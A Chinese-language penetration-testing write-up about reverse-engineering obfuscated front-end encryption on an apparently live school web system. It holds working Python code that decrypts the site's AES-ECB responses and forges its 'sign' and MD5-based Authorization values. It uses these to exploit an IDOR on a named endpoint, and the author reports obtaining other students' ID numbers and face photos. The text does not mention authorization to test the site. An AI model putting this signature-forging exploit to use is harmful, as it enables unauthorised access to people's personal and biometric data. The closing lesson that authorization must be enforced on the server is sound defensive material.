前端加密逆向与越权漏洞实战
一、原始抓包
1.1 抓包操作
在输入框内输入任意字符(此处输入“学”),鼠标移开后,前端会自动发起接口请求。重点分析请求包结构:
- 请求头:需重点关注
Authorization: 6672725565af813709f717bde6f5e8c2 字段,这是请求防篡改校验值,具体逻辑后文详解。
- 请求体:分为两部分,
sign 参数为请求防篡改校验值;除 sign 外的其余参数为业务逻辑参数。

1.2 抓包结果分析
核心响应内容均已加密,重点关注 returnObject 和 sign 字段:
sign 字段:用于防止响应数据被篡改;
returnObject 字段:存储加密后的核心响应内容。为开展后续测试,必须对 returnObject 字段进行解密。

二、returnObject字段数据解密
2.1 基础操作
首先,在浏览器按 F12 打开开发者工具,切换至源代码面板。

按下 Ctrl+Shift+F 调出全局搜索框,通过关键词搜索定位目标函数。若不清楚搜索关键词,可借助AI辅助查找。

通过AI推荐,最终使用 decrypt(解密)关键词检索到目标代码。
2.2 目标文件排查
搜索结果包含3个文件,逐一分析(可让AI辅助):
app.1767143497277.js:业务主逻辑文件,包含页面交互、接口请求、数据加解密等核心代码,是自定义解密函数的核心载体;
chunk-vendors.1767143497277.js:第三方依赖打包文件,仅包含CryptoJS等加密库的原生方法,无业务层解密逻辑;
xlsx.full.min.js:Excel处理库,与加解密无关,直接排除。

结论:优先排查 app.1767143497277.js,其次核查 chunk-vendors.1767143497277.js。
2.3 具体函数排查
在 app.1767143497277.js 中检索 decrypt,优先排查函数名包含关键词的代码,最终定位到4个函数:decrypt、decryptObj、decryptChangeObj、decrypt30。

为这4个函数添加断点,重新执行网页操作(即1.1节的输入字符步骤),代码执行至 decryptChangeObj 函数时触发断点,证明该函数被调用,需进一步验证其是否为解密函数。

2.4 解密函数验证
第一步:仅为 decryptChangeObj 函数添加断点,切换至网络面板,清空历史请求日志。


第二步:重新执行输入操作,代码触发断点,查看传入参数 _0x3496ef。

第三步:在控制台打印 _0x3496ef,通过 Ctrl+F 与响应中的 returnObject 字段比对,确认二者完全一致。



第四步:单步执行代码,执行至 var _0x11e4c7 = _0x219633'split'; 时,加密的响应数据已被解密为明文,并赋值给变量 _0x11e4c7。



由此可确认:decryptChangeObj 为核心解密函数,接下来分析其解密逻辑。
2.5 解密逻辑分析(反混淆)
该代码经过OB混淆处理,变量名为无意义的数组格式,需先反混淆。

- 将
app.1767143497277.js 全量代码复制至反混淆工具 https://obf-io.deobfuscate.io/ 完成初步还原。
- 借助AI对剩余混淆变量名做语义化重命名,得到清晰的解密代码。


反混淆后核心代码
1. 解密主函数 decryptChangeObj
'decryptChangeObj': function (encryptedStr) { // encryptedStr:待解密的加密字符串
try {
if (null != encryptedStr && '' != encryptedStr) {
// 1. 截取加密字符串前64个字符(密钥原料)
const keyRaw = encryptedStr.substring(0, 64);
// 2. 调用getKeys生成「分隔符 + AES密钥」的数组
const keyAndSeparator = this.getKeys(keyRaw);
// 3. 截取64字符后的部分 → 真正的AES密文
const aesCiphertext = encryptedStr.substring(64);
// 4. 解析AES密钥(CryptoJS标准格式)
const aesKey = CryptoJS.enc.Utf8.parse(keyAndSeparator[1]);
// 5. 核心:AES-ECB模式解密(PKCS7填充)
const decryptedBytes = CryptoJS.AES.decrypt(
aesCiphertext, // 待解密密文
aesKey, // AES解密密钥
{
'mode': CryptoJS.mode.ECB, // 加密模式:ECB(无IV向量)
'padding': CryptoJS.pad.Pkcs7 // 填充方式:PKCS7
}
);
// 6. 转换为明文字符串
const decryptedStr = CryptoJS.enc.Utf8.stringify(decryptedBytes).toString();
// 7. 用分隔符分割明文,返回第一个片段
const splitResult = decryptedStr.split(keyAndSeparator[0]);
return splitResult[0];
}
return '';
} catch (error) {
console.log(error);
return "JM99999";
}
},
通过分析该函数的逻辑可知,函数会先从原始密文中提取前64位字符,随后调用 getKeys 函数,将这64位字符拆分为分隔符和AES密钥,最终使用密钥对密文去除前64位后的剩余部分执行解密操作。因此,我们需要进一步分析 getKeys 函数,理清其对前64位字符的具体处理规则。可以在开发者工具中直接搜索 getKeys,该函数就位于 decryptChangeObj 函数的上方。

2. 密钥生成函数 getKeys
反混淆后的 getKeys 代码:
'getKeys': function (keyRaw) {
let separatorStr = ''; // 分割明文的分隔符
let aesKeyStr = ''; // AES解密密钥
// 第一阶段:0~19位,奇偶位拆分
for (let i = 0; i < 20; i++) {
if (i % 2 === 0) separatorStr += keyRaw[i];
else aesKeyStr += keyRaw[i];
}
// 第二阶段:20~39位,步长2交替拆分
let flag = true;
for (let j = 20; j < 40; j += 2) {
if (flag) {
separatorStr += keyRaw[j] + keyRaw[j + 1];
flag = false;
} else {
aesKeyStr += keyRaw[j] + keyRaw[j + 1];
flag = true;
}
}
// 第三阶段:40~59位,奇偶位拆分
for (let k = 40; k < 60; k++) {
if (k % 2 === 0) separatorStr += keyRaw[k];
else aesKeyStr += keyRaw[k];
}
// 最后4位固定分配
separatorStr += keyRaw[60] + keyRaw[61];
aesKeyStr += keyRaw[62] + keyRaw[63];
return [separatorStr, aesKeyStr];
},
下面用Python完整还原解密逻辑:
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import binascii
def get_keys(hex_str):
"""还原JS getKeys逻辑,提取分隔符和AES密钥"""
part1 = ''
part2 = ''
# 0-19位
for i in range(20):
if i % 2 == 0: part1 += hex_str[i]
else: part2 += hex_str[i]
# 20-39位
flag = True
for i in range(20, 40, 2):
if flag:
part1 += hex_str[i] + hex_str[i+1]
flag = False
else:
part2 += hex_str[i] + hex_str[i+1]
flag = True
# 40-59位
for i in range(40, 60):
if i % 2 == 0: part1 += hex_str[i]
else: part2 += hex_str[i]
# 最后4位
part1 += hex_str[60] + hex_str[61]
part2 += hex_str[62] + hex_str[63]
return [part1, part2]
def decrypt_change_obj(cipher_text):
"""还原JS decryptChangeObj解密逻辑"""
try:
if not cipher_text:
return ""
key_hex = cipher_text[:64]
key_parts = get_keys(key_hex)
encrypted_data = cipher_text[64:]
# AES-ECB解密
key = key_parts[1].encode('utf-8').ljust(32, b'\0')[:32]
cipher = AES.new(key, AES.MODE_ECB)
encrypted_bytes = binascii.a2b_base64(encrypted_data)
decrypted_bytes = unpad(cipher.decrypt(encrypted_bytes), AES.block_size)
decrypted_str = decrypted_bytes.decode('utf-8')
split_char = key_parts[0]
return decrypted_str.split(split_char)[0] if split_char in decrypted_str else decrypted_str
except Exception as e:
print(f"解密失败: {e}")
return "JM99999"
# 测试:替换为实际returnObject密文
if __name__ == "__main__":
test_cipher_text = "你的密文"
print(decrypt_change_obj(test_cipher_text))
至此,完整解密链路梳理完成:decryptChangeObj(解密主函数)+ getKeys(密钥生成函数)。
三、越权漏洞说明
成功解密响应数据后,即可对目标网站开展渗透测试。测试流程:遍历网站各个功能点,点击测试并抓取请求包,解密响应数据后分析内容。
测试过程中发现一个接口存在水平越权漏洞风险:

- 接口地址:
/tdwx-fr/ywcl/getPerinfoByConditions
- 接口作用:登录后页面刷新时,获取当前用户的个人身份信息
- 请求头:
Authorization 为身份令牌/权限校验凭证,相当于接口访问的「门禁卡」 Authorization: 4ff7511170701fd193160b9212220afd
- 请求参数:包含
sno(学校编号)、credno1(学号)、sign(防篡改签名)
请求体示例:
{"sno":"xxx201xxxx","credno1":"250524026","sign":"VvltMJq2VqN2grBTTr9VqbKeiXGZCV4tQtV0QZVFhNf71CKWcjKOIO4pOU0w6rGzuY1jOmXdqv6wpt7UAyraM6g2htdwd5yExsgjeIPZsNBjcW6iiEf1KvHEVwWKK84pIs+Z34ckomDxhQC2TK9N9pYuUnr5mgMLB1OX/gNxYYMks4rEp2Vxr3Vset4YSmsXo1K+yuviqC0ZpxlJ2SZUQSclwnMJFP25jahdbG4lKeE35CclyWqq2sljctfBY7dlnQn56ssu3IuD/FL42c3UkDmwHNUabbQpV1kkiTrHrAMnJcJzCRT9uY2oXWxuJSnhP13PKHzIki2IvNX54kJHn/r3dfLnOmRA8oeMk44tfO8="}
- 解密后响应:包含学号、身份证、Base64编码的人脸照片等敏感个人信息

漏洞挖掘思路
该接口仅需传入学号即可返回敏感信息,推测修改学号参数可获取他人信息。但直接修改请求参数会触发服务器“参数错误”提示,原因是:仅修改了请求体参数,未重新生成对应的 sign 签名,旧签名与新参数不匹配,导致校验失败。

因此,测试该越权漏洞的核心是:还原 sign 的生成逻辑。
四、sign签名生成
还原 sign 生成逻辑的步骤较为简单:全局搜索 sign 关键词,直接定位到 getSign 函数(合理推测),该函数为签名生成核心函数。

反混淆后 getSign 核心代码
'getSign': function (param1, param2) {
// 1. 对请求参数做哈希(具体是何种哈希未知)
const param2Hash = _0x56f879()(param2);
// 2. 生成两个32位随机密钥
const randomKey1 = this.generateRandomKey(32);
const randomKey2 = this.generateRandomKey(32);
// 3. 解析AES密钥
const aesKey = CryptoJS.enc.Utf8.parse(randomKey2);
// 4. 拼接签名原始字符串
const signRawContent = CryptoJS.enc.Utf8.parse(
param1 + randomKey1 + param2 + randomKey1 + param2Hash + randomKey1 + new Date().getTime()
);
// 5. AES-ECB加密签名串
const aesEncryptedResult = CryptoJS.AES.encrypt(
signRawContent, aesKey,
{ mode: CryptoJS.mode.ECB, padding: CryptoJS.pad.Pkcs7 }
);
// 6. 生成混淆密钥
const confoundKey = this.getConfoundKey(randomKey1, randomKey2);
// 7. 最终sign = 混淆密钥 + 加密结果
return confoundKey + aesEncryptedResult.toString();
},
关键逻辑验证
-
哈希算法确认:在代码行添加断点,控制台调用 _0x56f879()('123456'),比对哈希值后确认为MD5哈希。
-
随机密钥函数:generateRandomKey 用于生成指定长度的随机字符串(大小写字母+数字),反混淆后:
// 反混淆后的generateRandomKey函数(全局搜索可得)
'generateRandomKey': function (length) {
let randomKey = '';
const charSet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
for (let i = 0; i < length; i++) {
const randomIndex = Math.floor(Math.random() * charSet.length);
randomKey += charSet.charAt(randomIndex);
}
return randomKey;
},
- 混密钥函数:
getConfoundKey 按固定规则拼接两个随机密钥,生成64位混淆串。
/**
* 混淆两个32位随机密钥,生成64位混淆字符串(全局搜索可得)
*/
'getConfoundKey': function (randomKey1, randomKey2) {
let confoundedKey = '';
// 第一阶段:索引0~9
for (let i = 0; i < 10; i++) {
confoundedKey += randomKey1[i];
confoundedKey += randomKey2[i];
}
// 第二阶段:索引10~19步长2
for (let i = 10; i < 20; i += 2) {
confoundedKey += randomKey1[i];
confoundedKey += randomKey1[i + 1];
confoundedKey += randomKey2[i];
confoundedKey += randomKey2[i + 1];
}
// 第三阶段:索引20~29
for (let i = 20; i < 30; i++) {
confoundedKey += randomKey1[i];
confoundedKey += randomKey2[i];
}
// 最后两位
confoundedKey += randomKey1[30];
confoundedKey += randomKey1[31];
confoundedKey += randomKey2[30];
confoundedKey += randomKey2[31];
return confoundedKey;
}
Python签名生成实现
import random
import string
import hashlib
import time
import json
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
def generate_random_key(length: int) -> str:
"""生成指定长度随机密钥"""
chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
return ''.join(random.choice(chars) for _ in range(length))
def get_confound_key(random_key1: str, random_key2: str) -> str:
"""还原混淆密钥逻辑"""
confound_key = ''
# 0~9位
for i in range(10):
confound_key += random_key1[i] + random_key2[i]
# 10~19位
for i in range(10, 20, 2):
confound_key += random_key1[i] + random_key1[i+1] + random_key2[i] + random_key2[i+1]
# 20~29位
for i in range(20, 30):
confound_key += random_key1[i] + random_key2[i]
# 最后两位
confound_key += random_key1[30] + random_key1[31] + random_key2[30] + random_key2[31]
return confound_key
def aes_ecb_encrypt(raw_str: str, aes_key: str) -> str:
"""AES-ECB加密"""
raw_bytes = raw_str.encode('utf-8')
key_bytes = aes_key.encode('utf-8')
cipher = AES.new(key_bytes, AES.MODE_ECB)
padded_data = pad(raw_bytes, AES.block_size)
encrypted_bytes = cipher.encrypt(padded_data)
return base64.b64encode(encrypted_bytes).decode('utf-8')
def generate_sign(api_path: str, request_params: dict) -> str:
"""完整生成sign"""
# 1. 参数转JSON字符串(无空格)
json_params_str = json.dumps(request_params, separators=(',', ':'))
# 2. MD5哈希
params_hash = hashlib.md5(json_params_str.encode('utf-8')).hexdigest()
# 3. 生成随机密钥
random_key1 = generate_random_key(32)
random_key2 = generate_random_key(32)
# 4. 拼接签名原串
timestamp = str(int(time.time() * 1000))
sign_raw_str = api_path + random_key1 + json_params_str + random_key1 + params_hash + random_key1 + timestamp
# 5. AES加密
aes_encrypted = aes_ecb_encrypt(sign_raw_str, random_key2)
# 6. 生成混淆密钥
confound_key = get_confound_key(random_key1, random_key2)
# 7. 最终签名
return confound_key + aes_encrypted
# 测试
if __name__ == "__main__":
api_path = "/ywcl/getPerinfoByConditions"
request_params = {"sno": "xxxx010482", "credno1": "250524025"}
sign = generate_sign(api_path, request_params)
print("生成的sign:", sign)
五、请求测试
已成功实现 sign 生成,修改参数并携带新 sign 发起请求后,服务器仍未返回有效响应。原因:请求头中的 Authorization 字段同样参与防篡改校验,需还原其生成逻辑。
Authorization生成逻辑
- 全局搜索
Authorization,定位到3处赋值代码,为其添加断点。
- 重新操作网页,代码触发第一处断点:传入参数为请求体中的
sno 和 credno1,返回值为MD5格式哈希。

- 控制台验证:
_0x35b902() 为MD5哈希函数。

漏洞利用
修改请求体参数 → 生成对应 Authorization(参数MD5) → 生成对应 sign → 发起请求。
最终成功利用水平越权漏洞,获取他人敏感信息。

六、总结与反思
本次实战完整完成了前端加密逆向+越权漏洞挖掘全流程:
- 通过抓包定位加密字段,利用浏览器开发者工具+反混淆工具,还原了
returnObject 的AES解密逻辑;
- 逆向分析
sign 签名的生成规则,覆盖随机密钥、MD5哈希、AES加密、字符混淆全流程;
- 补全
Authorization 的MD5校验逻辑,最终成功绕过参数防篡改机制,利用水平越权漏洞获取敏感数据。
整个过程印证了:前端加密仅能增加攻击成本,无法完全保障数据安全;接口权限校验必须在服务端严格实现,仅依赖前端参数校验极易出现越权漏洞。类似的技术实战与深度交流,也欢迎在云栈社区与各位同行探讨。